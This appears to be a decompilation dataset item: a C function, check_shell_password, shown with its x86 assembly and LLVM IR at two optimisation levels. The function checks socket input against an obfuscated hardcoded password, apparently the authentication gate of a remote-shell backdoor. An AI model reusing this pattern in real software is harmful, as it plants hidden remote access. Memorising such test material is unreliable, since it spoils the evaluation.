#define NULL ((void *)0)
typedef unsigned long size_t; // Customize by platform.
typedef long intptr_t;
typedef unsigned long uintptr_t;
typedef long scalar_t__; // Either arithmetic or pointer type.
/* By default, we understand bool (as a convenience). */
typedef int bool;
#define false 0
#define true 1

/* Forward declarations */

/* Type definitions */
typedef int /*<<< orphan*/ buffer;

/* Variables and functions */
int /*<<< orphan*/ cleanup(char *, int /*<<< orphan*/);
int /*<<< orphan*/ crypt_read(int, char *, int);
int /*<<< orphan*/ memset(char *, int, int);
int /*<<< orphan*/ read(int, char *, int);
char *strdup(char *);
int /*<<< orphan*/ strlen(char *);
scalar_t__ strstr(char *, char *);
int /*<<< orphan*/ x(char *);
int check_shell_password(int sock, int crypt) {
  ;
  char buffer[512];
  char *shell_passwd = strdup("\x9d\x96\x9f\x90\x99\x9b\x93\x9b");
  x(shell_passwd);
  memset(buffer, 0x00, sizeof(buffer));
  if (crypt) {
    crypt_read(sock, buffer, sizeof(buffer) - 1);
    if (strstr(buffer, shell_passwd)) {
      cleanup(shell_passwd, strlen(shell_passwd));
      return 1;
    }
  } else {
    read(sock, buffer, sizeof(buffer));
    if (strstr(buffer, shell_passwd)) {
      cleanup(shell_passwd, strlen(shell_passwd));
      return 1;
    }
  }
  return -1;
}


x86 assembly (clang, -O0):
<check_shell_password>:
push   %rbp
mov    %rsp,%rbp
sub    $0x230,%rsp
mov    %edi,-0x8(%rbp)
mov    %esi,-0xc(%rbp)
lea    0xe68(%rip),%rdi
call   1090 <strdup@plt>
mov    %rax,-0x218(%rbp)
mov    -0x218(%rbp),%rdi
call   1040 <x@plt>
lea    -0x210(%rbp),%rdi
xor    %esi,%esi
mov    $0x200,%edx
call   1060 <memset@plt>
cmpl   $0x0,-0xc(%rbp)
je     1237 <check_shell_password+0xb7>
mov    -0x8(%rbp),%edi
lea    -0x210(%rbp),%rsi
mov    $0x1ff,%edx
call   1030 <crypt_read@plt>
lea    -0x210(%rbp),%rdi
mov    -0x218(%rbp),%rsi
call   10a0 <strstr@plt>
cmp    $0x0,%rax
je     1232 <check_shell_password+0xb2>
mov    -0x218(%rbp),%rax
mov    %rax,-0x220(%rbp)
mov    -0x218(%rbp),%rdi
call   1050 <strlen@plt>
mov    -0x220(%rbp),%rdi
mov    %eax,%esi
call   1080 <cleanup@plt>
movl   $0x1,-0x4(%rbp)
jmp    12a8 <check_shell_password+0x128>
jmp    12a1 <check_shell_password+0x121>
mov    -0x8(%rbp),%edi
lea    -0x210(%rbp),%rsi
mov    $0x200,%edx
call   1070 <read@plt>
lea    -0x210(%rbp),%rdi
mov    -0x218(%rbp),%rsi
call   10a0 <strstr@plt>
cmp    $0x0,%rax
je     129c <check_shell_password+0x11c>
mov    -0x218(%rbp),%rax
mov    %rax,-0x228(%rbp)
mov    -0x218(%rbp),%rdi
call   1050 <strlen@plt>
mov    -0x228(%rbp),%rdi
mov    %eax,%esi
call   1080 <cleanup@plt>
movl   $0x1,-0x4(%rbp)
jmp    12a8 <check_shell_password+0x128>
jmp    12a1 <check_shell_password+0x121>
movl   $0xffffffff,-0x4(%rbp)
mov    -0x4(%rbp),%eax
add    $0x230,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<check_shell_password>:
push   %rbp
push   %r14
push   %rbx
sub    $0x200,%rsp
mov    %esi,%ebp
mov    %edi,%r14d
lea    0xe69(%rip),%rdi
call   1090 <strdup@plt>
mov    %rax,%rbx
mov    %rax,%rdi
call   1040 <x@plt>
mov    %rsp,%rdi
xor    %esi,%esi
mov    $0x200,%edx
call   1060 <memset@plt>
test   %ebp,%ebp
je     11cf <check_shell_password+0x4f>
mov    %rsp,%rbp
mov    %r14d,%edi
mov    %rbp,%rsi
mov    $0x1ff,%edx
call   1030 <crypt_read@plt>
jmp    11e2 <check_shell_password+0x62>
mov    %rsp,%rbp
mov    %r14d,%edi
mov    %rbp,%rsi
mov    $0x200,%edx
call   1070 <read@plt>
mov    %rbp,%rdi
mov    %rbx,%rsi
call   10a0 <strstr@plt>
test   %rax,%rax
je     120b <check_shell_password+0x8b>
mov    %rbx,%rdi
call   1050 <strlen@plt>
mov    %rbx,%rdi
mov    %eax,%esi
call   1080 <cleanup@plt>
mov    $0x1,%eax
jmp    1210 <check_shell_password+0x90>
mov    $0xffffffff,%eax
add    $0x200,%rsp
pop    %rbx
pop    %r14
pop    %rbp
ret

LLVM IR (-O0):
@.str = [9 x i8] c"\9D\96\9F\90\99\9B\93\9B\00"
define i32 @check_shell_password(i32 %0, i32 %1) {
%3 = alloca i32
%4 = alloca i32
%5 = alloca i32
%6 = alloca [512 x i8]
%7 = alloca i8*
store i32 %0, i32* %4
store i32 %1, i32* %5
%8 = call i8* @strdup(i8* getelementptr inbounds ([9 x i8], [9 x i8]* @.str, i64 0, i64 0))
store i8* %8, i8** %7
%9 = load i8*, i8** %7
%10 = call i32 @x(i8* %9)
%11 = getelementptr inbounds [512 x i8], [512 x i8]* %6, i64 0, i64 0
%12 = call i32 @memset(i8* %11, i32 0, i32 512)
%13 = load i32, i32* %5
%14 = icmp ne i32 %13, 0
br i1 %14, label %15, label %29
15: ; preds = %2
%16 = load i32, i32* %4
%17 = getelementptr inbounds [512 x i8], [512 x i8]* %6, i64 0, i64 0
%18 = call i32 @crypt_read(i32 %16, i8* %17, i32 511)
%19 = getelementptr inbounds [512 x i8], [512 x i8]* %6, i64 0, i64 0
%20 = load i8*, i8** %7
%21 = call i64 @strstr(i8* %19, i8* %20)
%22 = icmp ne i64 %21, 0
br i1 %22, label %23, label %28
23: ; preds = %15
%24 = load i8*, i8** %7
%25 = load i8*, i8** %7
%26 = call i32 @strlen(i8* %25)
%27 = call i32 @cleanup(i8* %24, i32 %26)
store i32 1, i32* %3
br label %44
28: ; preds = %15
br label %43
29: ; preds = %2
%30 = load i32, i32* %4
%31 = getelementptr inbounds [512 x i8], [512 x i8]* %6, i64 0, i64 0
%32 = call i32 @read(i32 %30, i8* %31, i32 512)
%33 = getelementptr inbounds [512 x i8], [512 x i8]* %6, i64 0, i64 0
%34 = load i8*, i8** %7
%35 = call i64 @strstr(i8* %33, i8* %34)
%36 = icmp ne i64 %35, 0
br i1 %36, label %37, label %42
37: ; preds = %29
%38 = load i8*, i8** %7
%39 = load i8*, i8** %7
%40 = call i32 @strlen(i8* %39)
%41 = call i32 @cleanup(i8* %38, i32 %40)
store i32 1, i32* %3
br label %44
42: ; preds = %29
br label %43
43: ; preds = %42, %28
store i32 -1, i32* %3
br label %44
44: ; preds = %43, %37, %23
%45 = load i32, i32* %3
ret i32 %45
}

LLVM IR (-O2):
@.str = [9 x i8] c"\9D\96\9F\90\99\9B\93\9B\00"
define i32 @check_shell_password(i32 %0, i32 %1) {
%3 = alloca [512 x i8]
%4 = getelementptr inbounds [512 x i8], [512 x i8]* %3, i64 0, i64 0
%5 = tail call dereferenceable_or_null(9) i8* @strdup(i8* getelementptr inbounds ([9 x i8], [9 x i8]* @.str, i64 0, i64 0))
%6 = tail call i32 @x(i8* %5)
%7 = call i32 @memset(i8* %4, i32 0, i32 512)
%8 = icmp eq i32 %1, 0
br i1 %8, label %13, label %9
9: ; preds = %2
%10 = call i32 @crypt_read(i32 %0, i8* %4, i32 511)
%11 = call i64 @strstr(i8* %4, i8* %5)
%12 = icmp eq i64 %11, 0
br i1 %12, label %20, label %17
13: ; preds = %2
%14 = call i32 @read(i32 %0, i8* %4, i32 512)
%15 = call i64 @strstr(i8* %4, i8* %5)
%16 = icmp eq i64 %15, 0
br i1 %16, label %20, label %17
17: ; preds = %13, %9
%18 = call i32 @strlen(i8* %5)
%19 = call i32 @cleanup(i8* %5, i32 %18)
br label %20
20: ; preds = %17, %9, %13
%21 = phi i32 [ -1, %13 ], [ -1, %9 ], [ 1, %17 ]
ret i32 %21
}